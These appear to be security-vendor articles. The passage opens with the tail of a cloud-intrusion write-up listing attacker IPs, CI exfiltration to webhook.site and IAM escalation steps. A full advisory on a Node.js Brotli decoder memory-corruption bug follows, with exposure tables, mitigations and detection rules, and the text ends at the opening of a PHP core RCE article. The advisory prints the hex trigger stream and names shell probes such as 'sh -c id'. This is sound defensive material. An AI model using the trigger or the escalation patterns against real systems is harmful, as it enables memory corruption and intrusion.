      <span class="rf-name">169.150.226.163</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:1%;--c:#e63946"></span></span> <span class="text-[12px] text-ionsec-text-dim">VPN-class range · denied role-policy write</span></span>
      <span class="rf-count">5</span>
    </div>
    <div class="rf-row" style="--c:#e63946">
      <span class="rf-name">185.185.134.148</span>
      <span class="rf-holds"><span class="rf-track"><span class="rf-bar" style="--w:1%;--c:#e63946"></span></span> <span class="text-[12px] text-ionsec-text-dim">IL hosting provider · first cloud action</span></span>
      <span class="rf-count">4</span>
    </div>
  </div>
  <figcaption>Figure 16 — Management events per source address, attacker-attributed, in the event-history window. Three of the six sit in one /24.</figcaption>
</figure>

| Type | Indicator | Context |
| --- | --- | --- |
| IPv4 | `72.251.215.27`, `72.251.215.5`, `72.251.215.4` | One hosting /24; consider `72.251.215.0/24` for hunting |
| IPv4 | `185.185.134.148` | First cloud action, T+1 |
| IPv4 | `68.220.60.229` | Replayed pipeline session, inventory sweep |
| IPv4 | `169.150.226.163` | Replayed pipeline session |
| User agent | `aws-cli/2.37.9 md/awscrt#0.37.0` with `os/windows#10` and `os/linux` | Operator workstation; the pipeline never sends this |
| Egress | `webhook.site` from CI runners | 22 rotating collector tokens over six days (tokens withheld) |
| Behaviour | Session name `GitHubActions` from a non-runner address | The default credentials-action session name, replayed |
| Behaviour | `CreatePolicy` granting `Action: *` on `Resource: *`, then `AttachRolePolicy` to a newly created role | The T+2 escalation; invisible to a rule keyed on the provider's administrator policy |
| Behaviour | `AttachRolePolicy` of an administrator policy to a role with running tasks | The T+4 escalation onto the workload identity |
| Behaviour | `CreateKey` followed within minutes by `StartExportTask` naming that key | Export under an attacker-held key |
| Behaviour | `UpdateContinuousBackups` enabled, then disabled on the same tables within a day | Recovery removed after export |
| Behaviour | `CreateUser` or `CreateAccessKey` by a container task role | No workload should mint IAM users |

---

# Node2Shell: One Brotli Bug, Reached From Both Sides of the Wire

URL: https://www.ionsec.io/resources/node2shell-brotli-decoder-rce-cve-2026-111497
Category: Article
Author: IONSEC Team
Published: 2026-10-24
Tags: research, threat-intelligence, nodejs, web-security, rce, incident-response, cve-2026-111497, brotli

CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder that Node.js bundles. Attackers reach it inbound, through request bodies that Express 5, Koa and @fastify/compress decompress by default, and outbound, through any response fetch(), axios or got decodes for you. Below: the exposure map, the version traps, what the proofs of concept actually show, and the checklist.

On 21 October 2026 the Node.js project shipped 22.23.4, 24.22.1 and 26.12.1, fixing ten vulnerabilities in one release. Nine are Node's own. The one that leads the release is not. [CVE-2026-111497](https://nodejs.org/en/blog/vulnerability/october-2026-security-releases) is rated High by Node.js and 9.2 under CVSS 4.0 by Google, which issued the CVE. The bug lives in the Brotli decompressor Google maintains and Node vendors under `deps/brotli`. Node's advisory sums it up: an invalid block switch was reported as a temporary need for more input instead of a permanent format error, so the streaming decoder kept appending bytes to an eight-byte internal buffer. Anyone who can hand an application Brotli data that it decompresses with `node:zlib` can corrupt process memory. The result can be a crash, a memory disclosure, or code execution.

The name arrived a day later. **Node2Shell** is what [Imperva](https://www.imperva.com/blog/node2shell-from-brotli-data-to-remote-code-execution/)'s red team called its analysis when it ran code on the official Node.js 24.22.0 Linux arm64 image. The pattern echoes [PHP2Shell](/resources/php2shell-two-php-core-rce-vulnerabilities), the PHP core bugs disclosed the same day Node shipped its fix. Aikido then called the wider blast radius "HTTP2Shell", and with reason: this decoder is not Node's. Bun, Python's Brotli bindings, Envoy and a long tail of ports and wrappers carry the same code.

> **The one-sentence version.** Node2Shell is reachable from both directions of an HTTP exchange. It comes inbound through request bodies that Express 5, Koa and @fastify/compress decompress by default, and outbound through any response that fetch(), axios or got decodes for you. Meanwhile the upstream fix sat unlabelled in Brotli's public repository for eight months before anyone shipped it as a security release.

Patching is the fix. What follows is the map: who is exposed and why version strings mislead, how the bug works, how far it reaches beyond Node, what the wild has shown, and what to do while you get there.

## Am I exposed?

Two things have to line up: a vulnerable decoder, and a path for attacker bytes to reach it. The first is decided by the runtime, never by an npm package. The npm package named `brotli` is not the vulnerable component, and `npm audit` will not flag a runtime bug.

**Versions.** Every supported line had the flaw until 21 October:

| Runtime / line | Vulnerable through | Fixed release | Notes |
| --- | --- | --- | --- |
| Node.js 26 | 26.12.0 | 26.12.1 | |
| Node.js 24 | 24.22.0 | 24.22.1 | Imperva's code-execution target |
| Node.js 22 | 22.23.3 | 22.23.4 | |
| Node.js 25, 23, 20 and older | end of life | no fix | Every EOL line we checked, back to Node 12, carries the vulnerable early return. Node 20 left support on 30 April 2026 |
| Bun | 1.4.3 | 1.4.4 | `fetch()` asks for and decodes Brotli by default, with no verified switch |
| Brotli library | 1.0.3–1.0.9, 1.1.0, 1.2.0 | 1.0.10, 1.1.1, 1.2.1 | The vulnerable check dates from 2018 |

**The version traps.** Two of them, and both make inventories lie.

- **`process.versions.brotli` tells you nothing.** Node computes it from Brotli's version constant, which the fix does not touch. Patched 24.22.1 and 26.12.1 report `1.2.0`, and patched 22.23.4 reports `1.1.0`, which is exactly what the vulnerable builds before them report.
- **A distribution's Node may not use its bundled decoder.** Debian's nodejs packages link the system libbrotli. Its fix arrives as `brotli` 1.0.9-2+deb12u1 in bookworm (DLA-4855-1) and 1.1.0-2+deb13u1 in trixie (DSA-6582-1). The [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-111497) nevertheless lists every nodejs row as "vulnerable", and forky and sid were still unfixed at 1.2.0-4 when we checked. Alpine's `nodejs-current` bundles its own copy and ships the fix as 26.12.1-r0, with Alpine's brotli packages fixed at 1.2.1-r0 (1.1.1-r0 on 3.21). On 23 October Ubuntu listed every brotli and nodejs row as "Needs evaluation". Amazon Linux shows brotli as "Pending Fix" and nodejs/nodejs20 as "No Fix Planned".

Managed platforms lag the upstream release, too. A Microsoft Q&A thread reported Azure Functions Flex Consumption in East US 2 still running 22.23.2 after 22.23.4 shipped. A Vercel community thread reported a managed 24.x project still on 24.21.0 after a redeploy. AWS Elastic Beanstalk and App Runner runtimes were listed on pre-fix versions at disclosure. Read `process.version` from inside the running function, not from the platform's marketing page.

**Inbound: who decodes `Content-Encoding: br` request bodies.** Any client can send one, and no authentication is needed. These rows come from reading each package's source at its current release tag:

| Stack | Decodes Brotli request bodies? |
| --- | --- |
| Express 5 / body-parser 2.x (`json`, `urlencoded`, `text`, `raw`) | **Yes, by default.** `inflate` defaults to true |
| Koa parsers on co-body ≥5 / inflation 2.1.0 (`@koa/bodyparser` ≥5, `koa-bodyparser` 2.4–2.5 and 4.1+, `koa-body` ≥2.4) | **Yes, by default.** The only switch is not parsing those types |
| Fastify with `@fastify/compress` ≥5 | **Yes, on every route** once the plugin is registered, even if you added it only to compress responses |
| NestJS 11/12 on Express, Apollo Server 5.5 standalone, Parse Server 9.10, Strapi 5.59, n8n 2.44's `/api/v1` | **Yes.** Apollo's standalone server has no switch, and its 50 MB limit applies to decoded bytes |
| Express 4 / body-parser 1.x (and apps on it, such as Directus, Node-RED and Ghost) | No, answers 415 |
| hapi, restify, Fastify core, h3/Nuxt, SvelteKit, Hono on Node, Next.js Pages API routes, gRPC-js | No |
| A bare `node:http` server | No. It never decodes bodies on its own |

**Outbound: who decodes Brotli responses.** This is the direction most teams will miss. No inbound request carries the payload, so no WAF in front of the application can see it.

- Node's built-in `fetch()` (undici) adds `br` to `Accept-Encoding` on every HTTPS request. It decodes any response that declares `Content-Encoding: br`, on plain HTTP too, because the server decides the encoding, not the client.
- axios from 1.0, got, node-fetch 3 and needle decode Brotli by default. superagent decodes it even though it never asks for it.
- npm's own fetch stack (minipass-fetch) decodes Brotli responses. A malicious or intercepted registry or tarball host therefore reaches the decoder on the machine running `npm install`.
- The highest-likelihood outbound paths are features that fetch URLs an attacker chooses: webhooks, link unfurlers, oEmbed, image and avatar proxies, crawlers, and server-side rendering that fetches user-supplied URLs. Others include Next.js remote image optimisation when `remotePatterns` is set (the default list is empty) and http-proxy-middleware's `responseInterceptor`.

## How the bug works

The flaw is in `DecodeBlockTypeAndLength()` in Brotli's `c/dec/decode.c`. A Brotli stream declares how many block types it uses. If it declares one and then asks to switch blocks, the stream is invalid. Since a 2018 change (the "Large Window Brotli" commit, first released in 1.0.3), the decoder answered that case with a plain `false`:

```diff
   if (max_block_type <= 1) {
-    return BROTLI_FALSE;
+    return BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;
   }
```

The decoder has a fast path and a careful "safe" path for when input may run short. In the fast path that `false` was simply ignored. In the safe path, the `BROTLI_SAFE` wrapper turns any `false` into `NEEDS_MORE_INPUT`, meaning "this stream is fine, it just ran out". On that exit, `BrotliDecoderDecompressStream()` saves the unread tail of the input into `s->buffer`, an eight-byte union in the decoder state. It exists to hold the few leftover bytes when input really runs out, and in release builds the copy has no bounds check. A spurious "needs more input" with plenty of input left turns that copy into a write past the buffer, into the fields that follow it in the state structure. Those fields are the buffer length, positions, ring-buffer size and mask, the distance ring, the error code, and then the ring-buffer and Huffman-table pointers. Code execution needs that write to reach the pointers in a way the attacker controls. That is the exploit's work, and the reason reliability varies.

The fix turns the case into a permanent format error, `BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH` (-17), and makes the real need-more-input cases say so explicitly. Node's fixed releases also expose that constant as `zlib.constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH`. Node's regression test feeds a 22-byte stream through `brotliDecompressSync()` and through a stream written one byte at a time, and expects `ERR__ERROR_FORMAT_BLOCK_SWITCH` from both. Two consequences matter for defenders. That 22-byte stream is now the most copied artefact in the public proof-of-concept repositories. And only a fixed decoder can emit that error code, a fact we return to in detection.

The timeline is the uncomfortable part. Google's fix, "Detect and report invalid stream earlier", landed on Brotli's master branch on **27 February 2026**, with no security label. Node's pre-alert went out on 14 October. Node shipped its cherry-pick and Brotli shipped 1.0.10, 1.1.1 and 1.2.1 on 21 October. As [Hadrian](https://hadrian.io/vulnerability-alerts/node2shell-what-we-know-about-the-node-js-brotli-rce-cve-2026-111497) points out, anyone diffing Brotli's history had the code change eight months before the advisory explained why it mattered. Node credits OpenAI Codex Security (Khai Tran and Sylvie Mayer) with the report and Matteo Collina and Antoine du Hamel with the fix.

## Beyond Node: the HTTP2Shell widening

The CVE is assigned to Google Brotli, not Node.js, and everything that vendors or links its C decoder inherits it. Several ecosystems have no fixed release at all:

| Component | Exposure | Fixed in |
| --- | --- | --- |
| Bun | `fetch()` sends `Accept-Encoding: gzip, deflate, br, zstd` and decodes; also `node:zlib` and `DecompressionStream` | 1.4.4 (pins Brotli 1.2.1) |
| Python `Brotli` (PyPI) | Bundles the C decoder. Every PyPI release from 1.0.4 to 1.2.0 is affected, with no backport line (1.0.10 and 1.1.1 exist only as GitHub tags) | **1.2.1 only** |
| Python `brotlicffi` | 1.0.9.0 through 1.2.0.2 bundle affected decoders | 1.2.1.0 |
| aiohttp servers | **Decode `Content-Encoding: br` request bodies by default** when Brotli is installed. It is the only Python server stack in the survey that does | Upgrade Brotli |
| requests, httpx, urllib3, pip, Scrapy | Decode Brotli responses automatically whenever a Brotli module is importable; Scrapy always does | Upgrade Brotli. The `brotli>=1.2.0` pins in urllib3's extra and in Scrapy still admit 1.2.0 |
| Envoy (Brotli decompressor filter) | GHSA-3wvj-j6qm-62mr | 1.36.12, 1.37.8, 1.38.6, 1.39.3, 1.40.0. Their release notes never mention Brotli |
| Go `andybalholm/brotli` (pure-Go translation) | Same logic through v1.2.6 | v1.2.7 |
| RubyGems `brotli` / Maven `brotli4j` | 0.4.0–0.9.0 / 1.21.0–1.23.0 (older releases unchecked) | 0.9.1 / 1.24.0 |
| PECL `brotli` (PHP), .NET runtime (vendors Brotli 1.1.0) | Explicit decompression calls | **No fixed release found** |
| Rust `brotli-decompressor` | The same early return, still present in 6.1.1 | None. Safe Rust should turn it into a panic rather than corruption (our inference, untested) |
| Cloudflare workerd (public source) | Brotli content-encoding on by default for Workers with a compatibility date from 2024-04-29, vendoring 1.2.0 | Not in the public build as of 24 October. Hosted status unpublished |
| Electron | The Node side of 45.0.0, 44.9.3, 43.8.3 and 42.11.18 predates the fix | Only 46.0.0-alpha.1 carries Node 24.22.1 |
| Deno | Rust decoders, not the C library | Unresolved, not cleared |
| nginx `ngx_brotli`, Apache `mod_brotli` | Encoder only | Not affected |

The Python row deserves its own sentence. [GHSA-9v8h-qqgm-4m35](https://github.com/advisories/GHSA-9v8h-qqgm-4m35) and PYSEC-2026-4322/4323 now cover both PyPI packages. But a constraint like `brotli>=1.2.0`, the one in urllib3's extra and in Scrapy, still accepts the vulnerable 1.2.0, and any lockfile written before 22 October pins it. Meanwhile a crawler built on Scrapy decodes Brotli from every site it visits.

## What the wild has and has not shown

**The proofs of concept.** [Imperva](https://www.imperva.com/blog/node2shell-from-brotli-data-to-remote-code-execution/) is the anchor. In fresh containers running the official Node.js 24.22.0 Linux arm64 image, its standalone proof of concept ran code carried in a Brotli response consumed by `fetch()`, and in request bodies parsed by Express 5.0.0–5.3.0 and body-parser 2.0.0–2.3.0. Its own caveat: "execution took multiple attempts in our setup". 24.22.1 rejected the same input, and no 22.x or 26.x build was tested. The first public proof of concept, also on 22 October, reached code execution only on a deliberately weakened test build. According to The Hacker News, on stock builds it produced crashes and small memory reads.

By 24 October GitHub held more than forty repositories. The earliest we found, CaterMaoZi's, appeared on 21 October, a day before the CVE record was even published. dimasma0305's claims black-box code execution against Node 24.22.0 with Express 5.3.0 / body-parser 2.4.0 on x86_64, under stated limits: an exact binary, a single worker, a restart supervisor. lesterlam's independent reproduction documents that the naive overwrite of the buffer index does not survive. Many of these repositories share one artefact, Node's own 22-byte regression stream, and so do the defensive self-tests that check whether a runtime is patched. Seeing that stream on the wire tells you someone is testing. It does not tell you who.

**Exploitation: none confirmed.** CISA's assessment on the CVE record, added 23 October, reads exploitation *none*, automatable *no*, technical impact *total*. The KEV catalog release of 23 October does not list it. [NCSC-NL](https://advisories.ncsc.nl/2026/ncsc-2026-0453.html) rates the likelihood of abuse medium and the damage high, with no known active abuse. GovCERT.HK's "High Threat" alert notes that proof-of-concept code has been reported. We found no GreyNoise tag, honeypot report, Metasploit module or internet-exposure count. Unlike PHP2Shell, there is no public spray of attempts to count yet. The precondition, a code path that decodes Brotli, is invisible to mass scanning. The outbound path needs no scanning at all: a webhook or link-preview feature is the invitation.

**WAF coverage, mostly inbound.** [Vercel](https://vercel.com/kb/bulletin/node-js-security-advisory) deployed rules for every project on 21 October and says plainly, "Only the runtime patch covers fetched responses." Imperva added rules validated against the attempts it reproduced. Indusface's AppTrana blocks Brotli-encoded request bodies and duplicate `Content-Encoding` headers. Cloudflare's WAF changelog through 22 October lists no Node2Shell rule; its emergency rules that week were the PHP2Shell set. A repository search on 24 October found no rule for this CVE in Emerging Threats, SigmaHQ, the OWASP CRS, Nuclei templates, Elastic's detection rules or Corelight's community detections. Tenable's plugin 370490 checks versions.

## What to do now

Patching is the fix. Everything else below narrows the paths while you get there, one direction at a time.

**1. Patch, restart, rebuild.** Targets are Node.js 22.23.4, 24.22.1 or 26.12.1, and Bun 1.4.4. A patched binary nobody has loaded protects nobody, so restart every process. The official `node` Docker images were rebuilt for the fixed releases on 21–22 October, but images pinned by digest or old tag stay vulnerable until rebuilt. EOL lines (25, 23, 20 and older) have no fix: move them.

**2. Verify the decoder, not the label.** Check the runtime that serves traffic, not the one on your `PATH`:

```bash
# version of the Node that actually runs the service
node -p process.version

# -17 on official 22.23.4 / 24.22.1 / 26.12.1, undefined on builds without Node's fix
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH"

# does this Node link the system Brotli? If true, the distro package decides
node -p "process.config.variables.node_shared_brotli"

# Debian/Ubuntu: the brotli changelog carries the CVE id once fixed
zgrep CVE-2026-111497 /usr/share/doc/libbrotli1/changelog.Debian.gz

# RHEL/Fedora/Alma/Rocky
rpm -q --changelog brotli | grep CVE-2026-111497
```

The constant check covers Node's bundled decoder. A distribution build that links the system library can be fixed through its brotli package while that constant stays undefined, so follow the third command.

**3. If you cannot patch today, cut the inbound path.** Reject request bodies whose `Content-Encoding` contains `br` before any parser sees them, at the proxy or in the application:

```nginx
# nginx: refuse Brotli-encoded request bodies
if ($http_content_encoding ~* "(^|,)\s*br\s*(,|$)") { return 415; }
```

```js
// Express/Koa-style guard, mounted before any body parser
app.use((req, res, next) => {
  const ce = String(req.headers['content-encoding'] || '').toLowerCase();
  if (ce.split(',').some((t) => t.trim() === 'br')) return res.status(415).end();
  next();
});
```

Other options at the framework level:

- `express.json({ inflate: false })` works too, but it rejects gzip and deflate as well.
- On Fastify, set `@fastify/compress` to `globalDecompression: false`, or list `requestEncodings` without `br`.

Before you block, inventory legitimate senders. They are rare but real: Apify's JavaScript API client, for one, brotli-compresses request bodies of 1 KB and over by default, according to its documentation. Matching must be case-insensitive and catch `br` inside lists such as `gzip, br`.

**4. Cut the outbound path for code that fetches untrusted URLs.** Here the runtime patch is the only complete fix. Changing `Accept-Encoding` alone is not enough, because a malicious server can send Brotli whether you asked for it or not. In the interim, route webhook senders, unfurlers, image proxies and crawlers through an egress proxy that refuses responses carrying `Content-Encoding: br`.

**5. Python, Bun and the rest.**

- **Python:** upgrade to `Brotli` 1.2.1 and `brotlicffi` 1.2.1.0, and check lockfiles rather than constraints. aiohttp servers with Brotli installed are an inbound path, and a middleware is too late to stop it: the parser decompresses before any middleware runs. Until you can upgrade, pass `handler_args={"auto_decompress": False}` to `web.Application` (it turns off gzip request decompression too). Scrapy, requests and httpx are outbound.
- **Bun:** upgrade to 1.4.4. We found no verified switch to turn decoding off.
- **Envoy:** upgrade if you configure a Brotli decompressor.
- **Ports:** Go `andybalholm/brotli` v1.2.7, RubyGems `brotli` 0.9.1, `brotli4j` 1.24.0.
- **No fix yet:** PECL `brotli`, .NET and Rust `brotli-decompressor` have none. Do not decompress untrusted Brotli with them.
- **Electron:** until a stable line carries Node 24.22.1, do not decode untrusted Brotli with Node APIs in the main process.

**6. If you were exposed before you patched, work it as an incident.** Look for Node or Bun crash loops shortly after Brotli-encoded requests or outbound fetches, server processes spawning shells, and new files or scheduled tasks owned by the service account. The advisory names process-memory disclosure as an outcome, so rotate secrets the process held.

## Detection

Exploitation happens inside the decoder, below application code. The application usually sees an error, or nothing at all. The signal lives in four places: the inbound request, the application's error log, the host, and, for the outbound path, the egress proxy.

- **Requests with `Content-Encoding: br`.** These are rare enough to review. They are especially worth a look when combined with `Transfer-Encoding: chunked`, or with duplicate `Content-Encoding` headers. Never alert on outbound `Accept-Encoding: br`: undici, axios, got and node-fetch send it as a matter of course.
- **The public streams.** Node's 22-byte regression vector `200010414141fcffff07002228f00b60f7f41f000000`, and the three variants copied across the PoC repositories, appear in raw request bodies or, for the fetch path, in Brotli responses.
- **Scanner shapes.** Ostorlab's module POSTs a plain `{"ping":1}` with `Content-Encoding: br`, a 14-byte valid stream and the regression vector to `/`, `/api`, `/api/v1` and `/graphql`. Self-identifying checkers use user agents such as `Node2ShellChecker/…`, `cve-2026-111497-verify` and `Mozilla/5.0 (compatible; security-scanner)`.
- **The error a patched decoder throws.** `ERR__ERROR_FORMAT_BLOCK_SWITCH` (errno -17) can only come from a fixed decoder, so seeing it in your logs means an attempt reached a host that was already patched. Unpatched decoders answer the public vector with `ERR__ERROR_FORMAT_BLOCK_LENGTH_1` (-9), which is weak on its own: ordinary corrupt input produces it too. Decoders built from Brotli 1.0.x, Debian bookworm's system library among them, name their errors without the prefix, so on those hosts expect `ERR_BLOCK_SWITCH` and `ERR_BLOCK_LENGTH_1`.
- **The host.** Look for Node or Bun crashes right after Brotli traffic (Imperva: a triage clue, not a stand-alone sign), server processes spawning `sh -c id` or `whoami`, and responses carrying `uid=… gid=…`, the marker one public PoC prints.

The cheap greps:

```
ERR__ERROR_FORMAT_BLOCK_SWITCH                — attempt against a patched decoder
ERR_BLOCK_SWITCH                              — the same, on decoders built from Brotli 1.0.x
ERR__ERROR_FORMAT_BLOCK_LENGTH_1              — what unpatched decoders return on the public vector
segfault at … in node / exit code 139         — crash after br traffic or an outbound fetch
Content-Encoding: br on POST/PUT/PATCH        — only if your proxy logs request headers
```

Released with this post: [node2shell-detector](https://github.com/ionsec/node2shell-detector). It packages the checks behind this section as one standard-library-only Python CLI:

- **Runtime posture:** every `node`, `bun` and `deno` on the host, plus Python environments where Brotli or brotlicffi sit beside aiohttp. Verdicts ignore `process.versions.brotli` and follow shared-Brotli builds down to the distribution package.
- **Decoder fingerprint:** reads Node and Bun binaries, `libbrotlidec`, Python extensions and native addons for the error name the fix introduced, in both the 1.1+ and the 1.0.x spelling. A missing string table is reported as unknown, never as patched.
- **Dependency scan:** reads npm, yarn and pnpm lockfiles, plus Python, Go, Rust, Ruby, Java and Dockerfile pins. It names which packages decode Brotli request bodies or responses, and escalates when the same host runs a vulnerable runtime.
- **Log scan:** checks access, application and system logs against the catalogue above.
- **Opt-in self-test:** runs Node's own regression vector in a throwaway child process.

The network side ships in the same repository:

- 14 Sigma rules;
- 14 Suricata rules in a private block from SID 1006600;
- a ModSecurity/Coraza drop-in that detects by default and blocks on request;
- seven YARA rules;
- inbound snippets for nginx, Apache, HAProxy, Envoy, Cloudflare, AWS WAF and Azure;
- egress guards for HAProxy, Envoy and nginx;
- request guards for Express, Koa, Fastify, NestJS and aiohttp.

Every fingerprint is copied from a fetched source or derived from the fix diff, and is labelled as one or the other. The references file keeps the provenance where you can check it.

## What this actually says

**Silent fixes in shared libraries are a disclosure in waiting.** The patch was public for eight months as an unremarkable "invalid stream" fix. Downstream, Envoy's fixed releases picked it up by pinning a newer Brotli snapshot, and their release notes never say so. Teams that track advisories rather than diffs, which is nearly everyone, learned about it on 21 October. Attackers who diff libraries had the change since February.

**Your attack surface includes what your dependencies decode for you.** Nobody writes `zlib.brotliDecompress(req.body)`. Express 5 does it because `inflate` defaults to true. @fastify/compress does it on every route because request decompression ships enabled. Node's `fetch()` does it because the server said `br`. "Decodes by default" belongs on the same list as "parses by default" in code review. Outbound fetches of user-chosen URLs belong behind an egress proxy, for this bug and the next one.

**Inventories keyed on version strings will keep failing.** The version a patched Brotli reports is unchanged. A Debian Node's safety lives in a different package, and Electron's decoder lives in two places at once. Check the decoder itself, or the release that ships it.

**AI-assisted discovery is now a supply line.** This is the second core-runtime bug this week with an OpenAI Codex Security credit: the PHP Foundation's account of PHP2Shell names Codex Security as reaching that root cause independently. Expect more eight-year-old bugs in libraries everyone vendors, and plan the patch pipeline for it.

What to keep, concretely:

- Restart after patching and rebuild images.
- Treat any parser or client that decodes on your behalf as attack surface.
- Put features that fetch user-supplied URLs behind egress controls.
- Keep `ERR__ERROR_FORMAT_BLOCK_SWITCH` on a dashboard: it is the cheapest proof that someone tried.

## References

1. Node.js — *Wednesday, October 21, 2026 Security Releases*, the advisory text and the fixed lines — <https://nodejs.org/en/blog/vulnerability/october-2026-security-releases>
2. CVE-2026-111497 — record by Google (CNA): affected Brotli 1.0.3–1.2.0, CVSS 4.0 9.2, CWE-787/CWE-252 — <https://www.cve.org/CVERecord?id=CVE-2026-111497>
3. google/brotli — *Detect and report invalid stream earlier*, commit 0ed4268a, 27 February 2026 — <https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b>; security releases 1.0.10, 1.1.1, 1.2.1 — <https://github.com/google/brotli/releases>
4. GitHub Advisory Database — *GHSA-9v8h-qqgm-4m35*, the PyPI Brotli and brotlicffi ranges — <https://github.com/advisories/GHSA-9v8h-qqgm-4m35>
5. Imperva — *Node2Shell: From Brotli Data to Remote Code Execution*, 22 October 2026 — <https://www.imperva.com/blog/node2shell-from-brotli-data-to-remote-code-execution/>
6. Aikido — *Node2Shell: Node.js Brotli vulnerability allows remote code execution* and the HTTP2Shell follow-up — <https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497>, <https://www.aikido.dev/blog/python-packages-vulnerable-node2shell-brotli-cve-2026-111497>
7. OpenSourceMalware — *Node2Shell affects Python*, the PyPI testing and fixed releases — <https://opensourcemalware.com/blog/node2shell-affects-python>
8. Bun — issue #46352 and the 1.4.4 release — <https://github.com/oven-sh/bun/issues/46352>, <https://bun.com/blog/bun-v1.4.4>
9. Vercel — *Node.js security advisory: Brotli decoder RCE (CVE-2026-111497)* — <https://vercel.com/kb/bulletin/node-js-security-advisory>
10. Hadrian — *Node2Shell: What we know about the Node.js Brotli RCE*, the eight-month timeline — <https://hadrian.io/vulnerability-alerts/node2shell-what-we-know-about-the-node-js-brotli-rce-cve-2026-111497>
11. Debian — security tracker and DLA-4855-1 — <https://security-tracker.debian.org/tracker/CVE-2026-111497>, <https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html>
12. NCSC-NL — *NCSC-2026-0453: Kwetsbaarheid in Google Brotli-decoder*, 23 October 2026 — <https://advisories.ncsc.nl/2026/ncsc-2026-0453.html>
13. oss-security — *Re: Upcoming Node.js security release 2026/10/21*, the Envoy downstream note — <https://www.openwall.com/lists/oss-security/2026/10/23/25>
14. Indusface — *Node2Shell (CVE-2026-111497): Node.js Brotli RCE*, the AppTrana rule update — <https://www.indusface.com/blog/cve-2026-111497-node2shell-nodejs-brotli-rce/>
15. Express — *Migrating to Express 5*, Brotli request-body support — <https://expressjs.com/en/guide/migrating-5.html>

---

# PHP2Shell: Two Bugs in PHP Core That Fire Before Your Code Runs

URL: https://www.ionsec.io/resources/php2shell-two-php-core-rce-vulnerabilities
Category: Article
Author: IONSEC Team
Published: 2026-10-23
Tags: research, threat-intelligence, php, web-security, rce, incident-response, cve-2026-109618, cve-2026-109619

CVE-2026-109618 and CVE-2026-109619 give an unauthenticated HTTP request two independent paths to code execution inside the PHP core itself, both reached while PHP parses the request rather than inside your application; what follows is the exposure matrix, the exploitation record so far, and the checklist for the days before you can patch.

On 21 October 2026 the PHP project shipped four point releases in one coordinated drop — 8.2.35, 8.3.36, 8.4.27, 8.5.12 — for two bug classes in the engine itself. Not in a CMS, framework or library: in the core every one of those runs on. Both are reachable through an unauthenticated HTTP request and complete inside the worker's own memory, before your application's first line executes.

The advisories are [CVE-2026-109618](https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w), RCE via out-of-memory corruption, and [CVE-2026-109619](https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp), RCE via stale global state. The subsystems differ; the root pattern is identical: **memory owned by one HTTP request outliving that request inside a long-lived PHP worker, then read or branched on by operations that run before the next request's normal initialization.** Either bug is independently exploitable on the right deployment. The community calls the pair **PHP2Shell**, after `php2shell`, the exploit script [Wiz Research](https://www.wiz.io/blog/php2shell-php-rce) built to chain the two — a name that entered circulation a day before the patch, through a leak.

> **The one-sentence version.** On Apache mod_php a single unauthenticated request can be the whole exploit, because the corruption fires while PHP parses the request and mod_php runs request shutdown even after startup has failed; on PHP-FPM the paths narrow to an application-side fatal error plus a second request landing on the same worker — narrower, still unauthenticated, untouched by anything hardened at the application layer.

Both advisories rate the bugs CVSS v4.0 9.2 and stress that the configuration mitigations are partial. Patching is the fix; what follows is the map while you get there.

## Am I exposed?

php.net's own line is that every deployment serving web requests is at risk, naming PHP-FPM, Apache mod_php, php-cgi, FrankenPHP and LiteSpeed. What decides the real exposure is the version branch and the SAPI.

**Versions.** The advisory ranges list the supported branches. [Sansec](https://sansec.io/research/php2shell)'s reading of the code history is blunter: the vulnerable paths date back to PHP 5.4, released in 2012.

| Branch | Vulnerable through | Fixed release | Notes |
| --- | --- | --- | --- |
| 8.5 | 8.5.11 | 8.5.12 | Adds the `fatal_error_backtraces` producer below |
| 8.4 | 8.4.26 | 8.4.27 | The exact target of VulnCheck's private chained exploit |
| 8.3 | 8.3.35 | 8.3.36 | |
| 8.2 | 8.2.34 | 8.2.35 | Branch end of life is 31 December 2026 |
| 8.1 and older | end of life | no official release | Source-only backports for 7.4, 8.0, 8.1 |
| 7.3 and older | end of life | nothing upstream | Migrate, or use an LTS vendor backport if one exists |

**The EOL floor is the uncomfortable part.** PHP 8.1 and older receive no official updated binary at all: source backports exist for 7.4, 8.0 and 8.1, and nothing older — where the options are migration, or whatever your maintainer ships. Every coverage claim below 8.2 is a promise to verify against the maintainer's own tracker, not something this post can carry for them.

One trap to rule out before trusting a scan: **a backported fixed package keeps its PHP version number** — a build still reports 8.1.34 or 8.0.30 after the fix lands in a new package release, so version-string scanners false-clear unpatched private rebuilds and false-flag patched ones; the changelog check in the checklist below is what beats it.

**SAPIs** are where the two advisories become concrete about who is in which boat:

| SAPI | CVE-2026-109618 | CVE-2026-109619 |
| --- | --- | --- |
| Apache **mod_php** | **RCE validated over HTTP, with default input and memory limits**, on ordinary prefork configurations | **RCE validated** via the 8.5 backtrace path and the session path |
| **PHP-FPM** | Susceptible after a successful startup, per source analysis; no complete exploit demonstrated | **Session path RCE validated**; needs a fatal error in application code plus a later request on the same worker |
| **FrankenPHP** | Calls request shutdown unconditionally, like mod_php — likely susceptible (source analysis) | No early consumer established in the default configuration; not immune |
| **php-cgi** | Listed at risk by php.net; no separate validation published | Not separately validated |
| **LiteSpeed LSAPI** | Models FPM: application-specific exploits likely, unvalidated | A conditional candidate through early INI values sent by the frontend |
| CLI, cron, CI | Not on this path | Not on this path |

The asymmetry is the practical summary: on mod_php the exploit lands before middleware, input filtering or authentication — on FPM it needs application participation plus a second request on the same worker. Neither SAPI closes the bugs; they change how much work the attacker does.

Exposure also inherits downward through bundled interpreters: appliances, management interfaces and hosting panels ship their own `php.exe` or `libphp.so`, and the bug belongs to the binary, not your codebase — if you cannot name its version, it goes on the inventory list.

## CVE-2026-109618: exhausting the budget at the worst moment

